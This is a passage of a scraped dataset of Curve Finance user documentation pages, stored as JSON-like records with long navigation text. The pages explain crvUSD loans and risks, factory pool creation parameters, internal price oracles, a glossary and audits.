Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Collateral Choices Markets On the Markets page you can view all the available collateral types. The page shows the current borrow rate , total amount of $crvUSD borrowed, and total amount of collateral backing it. If you do not have a position, you can click on any market to create a loan . If you already have a position it will show a dollar sign overlay on the left, and clicking on the market will take you to a page to manage your loan . Collateral Choices While testing $crvUSD, the team created a market for $sfrxETH with a small market cap ($10MM) because it had a compatible oracle. Additional forms of collateral are expected to be approved by the DAO. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding crvUSD", - "html_url": "https://resources.curve.fi/crvusd/understanding-crvusd/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Understanding crvUSD Table of contents Markets Risks Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Markets Risks Home $crvUSD Understanding crvUSD Curve Stablecoin infrastructure allows users to mint crvUSD using a variety of crypto-tokenized collaterals. Positions are managed passively: if the price of the collateral decreases, the system automatically initiates a 'soft-liquidation' process to sell off some of the collateral. Conversely, if the price of the collateral increases, the system recovers the collateral. However, this process may result in some losses due to the liquidations and de-liquidations. Manage crvUSD positions at https://crvusd.curve.fi/ Markets On the 'Markets' tab, all available collateral types are displayed. The page displays the current borrow rate , total debt, debt cap, remaining amount available for borrowing, and the total value of collateral. If no loan exists, clicking on any market will lead to the loan creation page. Should a loan already exist, a dollar sign overlay will appear on the left. Selecting the market will lead to the loan management interface. Risks Please consider the following risk disclaimers when using the Curve Stablecoin infrastructure: If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral drop sharply over a short time interval, your position will get hard-liquidated, with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. If your collateral enters soft-liquidation mode, you can't withdraw it or add more collateral to your position. Should the price of the collateral change drop sharply over a short time interval, it can result in large losses that may reduce your loan's health. If you are in soft-liquidation mode and the price of the collateral goes up sharply, this can result in de-liquidation losses on the way up. If your loan's health is low, value of collateral going up could potentially reduce your underwater loan's health. If the health of your loan drops to zero or below, your position will get hard-liquidated with no option of de-liquidation. Please choose your leverage wisely, as you would with any collateralized debt position. The crvUSD stablecoin and its infrastructure are currently in beta testing. As a result, investing in crvUSD carries high risk and could lead to partial or complete loss of your investment due to its experimental nature. You are responsible for understanding the associated risks of buying, selling, and using crvUSD and its infrastructure. The value of crvUSD can fluctuate due to stablecoin market volatility or rapid changes in the liquidity of the stablecoin. crvUSD is exclusively issued by smart contracts, without an intermediary. However, the parameters that ensure the proper operation of the crvUSD infrastructure are subject to updates approved by Curve DAO. Users must stay informed about any parameter changes in the stablecoin infrastructure. 2023-10-18 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding tokenomics", - "html_url": "https://resources.curve.fi/crvusd/understanding-tokenomics/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents $crvUSD Concepts Bands Borrow Rate Liquidation LLAMMA Loan Health Understanding tokenomics $crvUSD Concepts Bands When loans are created, collateral is spread among several bands. Each band has a range of prices for the asset. If the price oracle is inside this range of prices, that particular band of collateral is likely to be liquidated. In the example above, the collateral has been spread into 10 different bands of collateral. The darker grey represents collateral which has been converted into $crvUSD, lighter grey is the original collateral type. Mousing over any bar will give you details about your position within the band, as well as the asset prices corresponding to this band. If you are in soft liquidation, the band may have a blend of $crvUSD and the collateral. Borrow Rate The borrow rate is variable basd on conditions in the pool. For instance, when collateral price is down and some positions are in soft liquidation, the rate can fall. A decreasing rate creates incentive to borrow and dump, while an increasing rate creates incentives to buy $crvUSD and repay. The formula for calculating Borrow Rate is: rate = rate0 * exp(-(p - 1) / sigma) * exp(-peg_keeper_debt / (total_debt * peg_keeper_target_fraction)) Liquidation In soft liquidation, the collateral within a band is at risk of being converted into crvUSD. If the price goes back, it will be rehypothecated into collateral, although it will likely be lower than the initial amount. While in soft liquidation mode, users cannot modify their collateral. The only options available are to either partially or fully repay the debt or opt to self-liquidate the position. If your health continues to weaken, you may find yourself subject to \"hard liquidation,\" which functions more like a usual liquidation, where your position is erased. LLAMMA LLAMA (Lending Liquidation AMM Algorithm) is a fully functional AMM with all the functions you would expect. For more detail please check the source code . Loan Health Based on your collateral and borrow amount, the UI will display the Health score. Low health scores are more at risk of entering liquidation mode in the event the asset price drops. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Creating a cryptoswap pool", - "html_url": "https://resources.curve.fi/factory-pools/creating-a-cryptoswap-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Creating a cryptoswap pool Table of contents Creating a Pool Tokens in Pool Pool Presets Parameters Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Creating a Pool Tokens in Pool Pool Presets Parameters Home Factory Pools Creating a cryptoswap pool The v2 Curve Factory supports pools of assets with volatile prices, with no expectation of price stability. Understanding Curve v2 Creating a Pool The factory can be used to create a pool between any two or three ERC20 tokens. Based on trading activity in the pool, the v2 pools update an internal price oracle that the pool uses to rebalance itself. If the pool is using wrapped Ethereum as one of the two assets, the pool will also support depositing either raw ETH or wrapped Ethereum. Tokens in Pool The token selection tab can be used to select up to three tokens. The order of the tokens can matter for the performance of the AMM. Make sure to select the token with the higher price is first. If the tokens are supported by CoinGecko, you can see the \"Initial Price\" under the Pool Setup panel, choose the token order to maximize this value. On Ethereum at the top of the token selection popup you can see any Curve basepools suggested up top. These allow you to create a metapool , where the other asset can trade with any of the underlying basepool assets. You can search by name for any token already added to Curve, or paste a token address Pool Presets The \"Pool Presets\" tab provides scenarios that prepopulate appropriate parameters for users who are unfamiliar with advanced aspects of Curve pools. Some examples: Crypto: Used volatile pairings for tokens which are likely to deviate heavily in price Forex: Pairings that have low volatility Liquid Staking Derivatives: Similar to $cbETH and $rETH which handle Ethereum LSDs Tricrypto: Suitable for pools containing a USD stablecoin, BTC stablecoin and ETH. Three Coin Volatile: Suitable for pools containing a volatile token which is paired against ETH and USD stablecoins. Parameters On the parameters tab you can review and adjust the defaults populated by your selection on the \"pool presets\" tab. Crypto v2 pools contain a lot of parameters. If you are uncertain of which parameters to use, you may want to ask for help in any Curve channel before deploying. Some parameters can be tuned after the fact. The basic parameters include the fees charged to users who interact with the pool. This is divided dynamically into a \"Mid fee\" and \"Out fee\" parameter, which represent the minimum and maximum fee during periods of low and high volatility. Mid Fee: [.005% to 1%] Percentage. Fee when the pool is maximally balanced. This is the minimum fee. The fee is calculated as mid_fee * f + out_fee * (10^18 - f) Out Fee: [Mid Fee to 1%] Fee when the pool is imbalanced. Must be larger than the Mid Fee and represents the maximum fee. The initial prices fetch current prices from Coingecko to set the initial liquidity concentration. If your tokens do not exist on Coingecko you will need to populate these values manually, otherwise they will be filled automatically. The Advanced toggle allows you to adjust several of the other parameters under the hood. Amplification Parameter (A): [4,000 to 4,000,000,000] Larger values of A make the curve better resemble a straight line in the center (when pool is near balance). Highly volatile assets should use a lower value, while assets that are closer together may be best with a higher value. Gamma: [.00000001 to .02] The gamma parameter can further adjust the shape of the curve. Default values recommend .000145 for volatile assets and .0001 for less volatile assets. Allowed Extra Profit: [0 to .01] As the pool takes profit, the allowed extra profit parameter allows for greater values. Recommended 0.000002 for volatile assets and 0.00000001 for less volatile assets. Fee Gamma: [0 to 1] Adjusts how fast the fee increases from Mid Fee to Out Fee. Lower values cause fees to increase faster with imbalance. Recommended value of .0023 for volatile assets and .005 for less volatile assets. Adjustment Step: [0 to 1] As the pool rebalances, it will must do so in units larger than the adjustment step size. Volatile assets are suggested to use larger values (0.000146), while less volatile assets do not move as frequently and may use smaller step sizes (default 0.0000055) Moving Average Time: [0 to 604,800] In seconds -- the price oracle uses an exponential moving average to dampen the effect of changes. This parameter adjusts the half life used. A more thorough reader on the parameters can be found here . You can use this interactive tool to see how some of the parameters interact. After deployment, make sure to seed initial liquidity and create a gauge just like regular factory pools . Creating a Pool Gauge 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Creating a stableswap pool", - "html_url": "https://resources.curve.fi/factory-pools/creating-a-stableswap-pool/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a stableswap pool Table of contents Token Selection Pool Presets Parameters Pool Info Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Token Selection Pool Presets Parameters Pool Info Home Factory Pools Creating a stableswap pool The Stableswap pool creation is appropriate for assets expected to hold a price peg very close to each other, like a pair of dollarcoins. The creation wizard will guide you through the process of creating a pool, but if you have questions throughout you are encouraged to speak with a member of the Curve team in the Telegram or Discord . Token Selection The token selection tab can be used to select between two to four tokens. You can select a token by searching for the symbol of any token that is already being used on Curve, or by pasting the pools address. On Ethereum you might observe a handful of popular assets (ie Tether, USDC, Frax) are not available in the token selection dropdown. Some of these assets have been added to \"base pools,\" which can be used in the creation of other \"metapools.\" Base & MetaPools Base pools are suggested at the top of the token selection modal. As of April 2023, Curve supported two stablecoin basepools (3CRV/FraxBP) and a BTC basepool (sbTC2Crv). If you want to include a token that is part of a base pool, you must use it as part of a corresponding base pool. Base pools can only be paired with one other token. If you are using raw ether as a token, it must be added as \"Token A.\" WETH may be added as either Token A or Token B. If your pool contains rebasing tokens (a token that adjusts its total supply to control its price), make sure to select the appropriate box: The UI will not check to see if a pool containing your token pairs already exists. Some protocols have seen opportunities to create two pools containing the same assets but using different parameters (c/f stETH concentrated ). In most cases you should take care to make sure your pool does not already exist. Pool Presets The \"Pool Presets\" tab contains a few scenarios that prepopulate appropriate parameters for users unfamiliar with advanced aspects of Curve pools. The presets include an explanation of their use case. The Advanced options toggle includes a variety of options which may not apply to your case. Parameters The parameters tab allows you to adjust pool parameters. The pool's fee is applied to all transactions within the pool, half of which accrues to pool LPs, the other half is distributed to veCRV stakers. The fee for StableSwap pools may be set between .04% and 1%. The Advanced tab allows you to adjust the pool's \"A Parameter.\" The A Parameter is set by default based on your selection on the prior tab. A higher value for A concentrates liquidity better. If the assets are likely to fluctuate heavily you may want to lower the value below the default of 100. After the pool launches, the DAO has the capability of adjusting the A parameter. Understanding Curve Pools Pool Info Finally, you may adjust factors used for displaying the pool on the Curve site. These cannot be adjusted after launching so be careful when selecting these parameters. On the Curve UI the pools are grouped by the \"Asset Type Tag.\" This only affects its display on the Curve website, it has no effect on the pool's performance. USD: For pools only containing dollarcoins ETH: For pools only containing ETH BTC: For pools only containing BTC Other: All other assets Your pool is ready to launch! It will now appear on the Curve page, but it's not yet eligible to earn $CRV rewards. For next steps you will typically want to seed initial liquidity and create a pool gauge . Creating a Pool Gauge 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding pool factory", - "html_url": "https://resources.curve.fi/factory-pools/pool-factory/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Home Factory Pools Understanding pool factory The Curve pool creation factory allows any user to permissionlessly deploy a Curve pool. These pools can contain a variety of assets, including pegged tokens, unpegged tokens, and metapools built off of other base pools . Base & MetaPools Keep in mind a few points about all pools: Destroying Curve pools once deployed is not possible Curve is not responsible for any of the assets going in there so you must do your own research when trading in the pool factory. The Curve team and DAO also have no control over the tokens added in the factory which means you must verify the token addresses you trade on there. The only admin change that can be made by the Curve DAO is ramping the A (amplification) parameter Tokens with more than 18 decimals are not supported After deploying a pool, you must seed initial liquidity if you want users to interact with it. Pools will only display on the homepage by default if their TVL is not below the threshold of what is considered \"small.\" https://curve.fi/#/ethereum/create-pool To get started, visit the \" Pool Creation \" tab at the top of the Curve homepage, and select whether you would like to create a \"Stableswap Pool\" (a pool with pegged assets) or a \"Cryptoswap Pool\" (containing assets whose prices may be volatile). Creating a Stableswap Pool Creating a Cryptoswap Pool Note some sidechains may not yet support a stableswap or cryptoswap pool factory. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding oracles", - "html_url": "https://resources.curve.fi/factory-pools/understanding-oracles/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Understanding oracles Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Purpose Exponential Moving Average Updates Price Oracle Profits and Liquidity Balances Manipulation v1 Pools LLAMMA Home Factory Pools Understanding oracles This article primarily covers the role of internal price oracles within Curve Finance v2 pools, with a brief note at the end of LLAMMA price oracles . Please note that Curve v1 and v2 pools do not rely on external price oracles. Misuse of external price oracles is a contributing factor to several major DeFi hacks. If you are looking to use Curves price oracle functions, or any price oracle, to provide on-chain pricing data in a decentralized application you are building, we recommend extreme caution. Purpose Curve v2 pools , which consist of assets with volatile prices, require a means of tracking prices. Instead of relying on external oracles, the pool instead calculates the price of these assets internally based on the trading activity within the pool. This is tracked by two similar but distinct parameters: Price Oracle: The pools expectation of the assets price Price Scale: The price based on the pools actual concentration of liquidity Pools keep track of recent trades within the pool as a variable called last_prices . The price_oracle is calculated as an exponential moving average of recent trade prices. The price_oracle represents what the pool believes is the fair price of the asset . In contrast, price_scale is a snapshot of how the liquidity in the pool is actually distributed. For this reason, price_scale lags price_oracle . As users make trades, the pool calculates how to profitably readjust liquidity , and the price_scale moves in the direction of the price_oracle . Price Oracle and Price Scale shown in the Curve UI Exponential Moving Average As discussed above , the price_oracle variable is calculated as an exponential moving average of last_prices . For comparison, traders commonly rely on a simple moving average as a technical analysis indicator, which calculates the average of a certain number points (ie, a 200-day moving average computes the average of the trailing 200 days of data). The exponential moving average\" is similar, except it applies a weighting to emphasize newer data over older data. This weighting falls off exponentially as it looks further back in time, so it can react quicker to recent trends. Updates An internal function tweak_price is called every time prices might need to be updated by an operation which might adjust balances within a pool (hereafter referred to as a liquidity operation ): add_liquidity remove_liquidity_one_coin exchange exchange_underlying The tweak_price function is a gas expensive function which can execute several state changing operations to state variables_._ Price Oracle The price_oracle is updated only once per block. If the current timestamp is greater than the timestamp of the last update, then price_oracle is updated using the previous price_oracle value and data from last_prices . The updated price_oracle is then used to calculate the vector distance from the price_scale , which is used to determine the amount of adjustment required for the price_scale . Profits and Liquidity Balances Curve v2 pools operate on profits. That is, liquidity is rebalanced when the pool has earned sufficient profits to do so. Every time a liquidity operation occurs, the pool chooses whether it should spend profits on rebalancing. The pools actions may be considered as an attempt to rebalance liquidity close to market prices. Pools perform all such operations strictly with profits, never with user funds. Profits are occasionally claimed by administrators, otherwise funds remain in the pool. In other words, profits can be calculated from the following function: profits == erc20.balanceOf(i) - pool.balances(i) Internally, every time the tweak_price function is called during a liquidity operation , the pool tracks profits. It then uses the updated profit values to consider if it should rebalance liquidity. Specifically, pools carry a public parameter called allowed_extra_profit which works like a buffer. If the pools virtual price has grown by more than a function of profits and the allowed_extra_profit buffer value, then the pool is considered profitable enough to rebalance liquidity. From here, the pool further checks that the price_scale is sufficiently different from price_oracle , to avoid rebalancing liquidity when prices are pegged. Finally, the pool computes the updates to the price_scale and how this affects other pool parameters. If profits still allow, then the liquidity is rebalanced and prices are adjusted. Manipulation We do not recommend using Curve pools by themselves as canonical price oracles. It is possible, particularly with low liquidity pools, for outside users to manipulate the price. Curve pools nonetheless include protections against some forms of manipulation. The logic of the Curve price_oracle variable only updates once per block, which makes it more resistant to manipulation from malicious trading activity within a single block. Due to the fact that changes to price_oracle are dampened by an exponential moving average , attempts to manipulate the price may succeed but would require a prolonged attack over several blocks. Actual $CVX price versus CVX-ETH Pool Price Oracle and Price Scale during rapid volatility These safeguards all help to prevent various forms of manipulation. However, for pools with low liquidity, it is not difficult for whales to manipulate the price over the course of several transactions. When relying on oracles on-chain, it is safest to compare results among several oracles and revert if any is behaving unusually. v1 Pools Newer v1 Pools also contain a price oracle function, which also displays a moving average of recent prices. If the moving average price was written to the contract in the same block it will return this value, otherwise it will calculate on the fly any changes to the moving average since it was last written. Curve v1 pools do not have a concept of price scale, so no endpoint exists for retreiving this value. Older v1 pools will also not have a price oracle, so use caution if you are attempting to retrieve this value on-chain. LLAMMA The LLAMMA use of oracles is quite different than Curve v2 pools in that it can utilize external price oracles. In LLAMMA, the price_oracle function refers to the collateral price (which can be thought of as the current market price) as determined by an external contract. For example, LLAMMA uses price_oracle to convert $ETH to $crvUSD at a specific collateral price. When the external price is higher than the upper price (internally: P_UP ), all assets in the band range are converted to $ETH. When the price is lower than the lower price (internally: P_DOWN ), all assets are converted to $crvUSD. When the oracle price is in the middle, the current band is partially converted, with the exact proportion determined by price changes. When the external price changes, an arbitrage opportunity exists. External arbitrageurs can deposit $ETH or $crvUSD to balance the pool, until the pool price reaches parity with the external price. LLAMMA applies an exponential moving average to the price_oracle to prevent users from absorbing losses due to drastic fluctuations. More information on price oracles and other LLAMMA dynamics are available at this article . 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Glossary", - "html_url": "https://resources.curve.fi/faq/glossary/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Glossary Table of contents 3CRV Admin fee Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) Yearn yCRV yUSD (also yyCRV) Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents 3CRV Admin fee Boosting (also boosties) CRV DeFi (Decentralized Finance) Metamask Metapool Llamas LP (Liquidity provider) LP tokens (Liquidity provider token) Yearn yCRV yUSD (also yyCRV) Home Appendix Glossary 3CRV 3CRV is the LP token for the 3Pool (sometimes referred to as TriPool). Trading fees are distributed in 3CRV. Admin fee Admin fee is the share of trading fees that are received by governance participants who have locked their CRV (see veCRV). Boosting (also boosties) The act of locking your CRV to earn more CRV on your provided liquidity. Boosting your CRV Rewards CRV Governance and utility token for the Curve DAO. DeFi (Decentralized Finance) Decentralized finance (commonly referred to as DeFi) is an experimental form of finance that does not rely on financial intermediaries such as brokerages, exchanges, or banks, and instead utilizes blockchains, most commonly the Ethereum blockchain. Metamask Metamask is an Ethereum wallet that allows you to interact with Curve and other dapps. You can also use it with Ledger and Trezor hardware wallets. It's the most popular Ethereum web wallet and is available as an add-on for most browsers. Metapool Metapools are a type of pool on Curve composed of one asset as well as as LP tokens from another pool. Base & MetaPools Llamas Llamas are wonderful and magical creatures. Each Curve team member must own at least one llama as part of their contract with Curve Finance. LP (Liquidity provider) Users providing liquidity (funds/assets) on the Curve or other DeFi protocols. LP tokens (Liquidity provider token) When you deposit into a Curve pool, you receive a counter party token which represents your share of the pool. veCRV Stands for vote-escrowed CRV. They are CRV locked for the purpose of voting and earning fees. Understanding $CRV Yearn Yearn Protocol is a set of Ethereum Smart Contracts focused on creating a simple way to generate high risk-adjusted returns for depositors of various assets via best-in-class lending protocols, liquidity pools, and community-made yield farming strategies on Ethereum. It was founded by Andre Cronje who has been a long term collaborator of Curve Finance. yCRV yCRV is not wrapped CRV, it's a wrapped representation of ownership of yUSDC+yUSDT+yDAI+yTUSD deposits in the Curve Y pool (i.e. your share of the pool). Each pool on Curve has an LP token with a different name. yUSD (also yyCRV) Yearn token wrapper that represents shares of the Y pool inside the Yearn Y Pool vault. It is a wrapped version of yCRV. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Security", - "html_url": "https://resources.curve.fi/faq/security/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Security Table of contents Audits Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Audits Home Appendix Security Curve Finance emphasizes its commitment to security by regularly undergoing audits from reputable third-party firms. These audits aim to uncover potential vulnerabilities and ensure that the protocol's smart contracts function as intended. However, as with all DeFi platforms, users should be aware that engaging with Curve Finance carries inherent risks. Despite the thoroughness of audits, they do not guarantee complete security , and potential vulnerabilities might still emerge in the future. Therefore, individuals should always proceed with caution and understand that the use of the protocol is at their own risk . Audits For a detailed look into the audits Curve Finance has undergone, please refer to here . 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Proposals", - "html_url": "https://resources.curve.fi/governance/proposals/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals 